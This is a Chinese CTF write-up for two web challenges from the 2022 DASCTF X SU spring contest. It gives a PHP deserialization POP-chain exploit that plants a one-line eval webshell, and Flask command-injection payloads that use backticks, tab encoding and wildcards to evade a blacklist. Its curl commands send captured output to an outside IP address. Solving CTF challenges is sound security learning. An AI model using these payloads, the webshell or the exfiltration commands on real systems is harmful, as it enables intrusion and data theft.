2022DASCTF X SU 三月春季挑战赛

web

ezpop

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

简单的pop链，直接构造出来了，唯一有个坑就是eval后面有个#号，当时没看到折腾了好久，他本意是会注释掉后面执行的语句，不过不影响，闭合一下payload就行：

?><?=system('ls');

<?php

class crow
{
    public $v1;
    public $v2;
    public function __construct()
    {
        $this->v1=new fin();
        $this->v1->f1=new mix();
        $this->v1->f1->m1="?><?=system('ls');";
        //   $this->v1->f1->m1="system('ls /')";
    }
}

class fin
{
    public $f1;
    public function __construct()
    {
        $f1=$this->f1;
    }

}

class what
{
    public $a;

    public function __construct()
    {
        $this->a=new fin();
        $this->a->f1=new crow();
    }
}
class mix
{
    public $m1;

    public function __construct()
    {
        $m1=$this->m1;
    }

}

$a=new fin();
$a->f1=new what();
echo serialize($a);

 或者直接用蚁剑连接，里面改成

?><?=eval(\$_POST[1]);

注意蚁剑的连接密码要换成

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1

要用这全部当密码才可以连接成功

calc 

给了原码

# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
    abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app = Flask(__name__)


def waf(s):
    blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
                 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
                 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag


@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")


@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

f12里面有个这个

 大概意思就是如果python脚本执行的时候有报错就会弹出error:function()

提交的时候会请求/calc路由并提交num参数

回到py原码里面，进入到calc路由后会触发calc函数，接收num参数后，还会拼接到log里面，在经过waf函数，如果没被过滤会先执行eval，再执行system函数

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

再看看waf

    blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
                 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
                 'getattribute', 'func_globals', '__init__', 'join', '__dict__']

因为过滤了括号，所以把eval当做突破口有点困难，那多半把目标放在system函数里面，又由于没有禁用反引号，所以说是可以执行的。

直接执行一下`ls`

报错了，因为eval里面执行反引号会报错用井号过掉eval函数就好了传入：123#`ls` 

简单说明一下#注释让eval不会报错后会进入到system函数里面，相当于传入的是

"echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

把一些没用的抛开大概就是

"echo {0}> ./tmp/log.txt".format(num)

传入后相当于是执行了ls然后把 #和ls结果  输入到了/tmp/log.txt里面，写进去后再把数据带出来，由于他过滤了空格，所以用tab键（%09）来代替空格就可以了

传入命令

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

刚开始我想直接传到计算器提交的位置，后来想到传编码的话会先进入到前端，前端过滤又过不了，所以直接传到url上面或者用burp都可以。但是要进入到calc目录下

有回显，现在就是绕过了 ，读一下根目录

/calc?num=1%23`ls%09/`

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

由于过滤了_，用通配符绕过就好了

 /calc?num=1%23`cat%09/Th1s*`

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

flag就出来了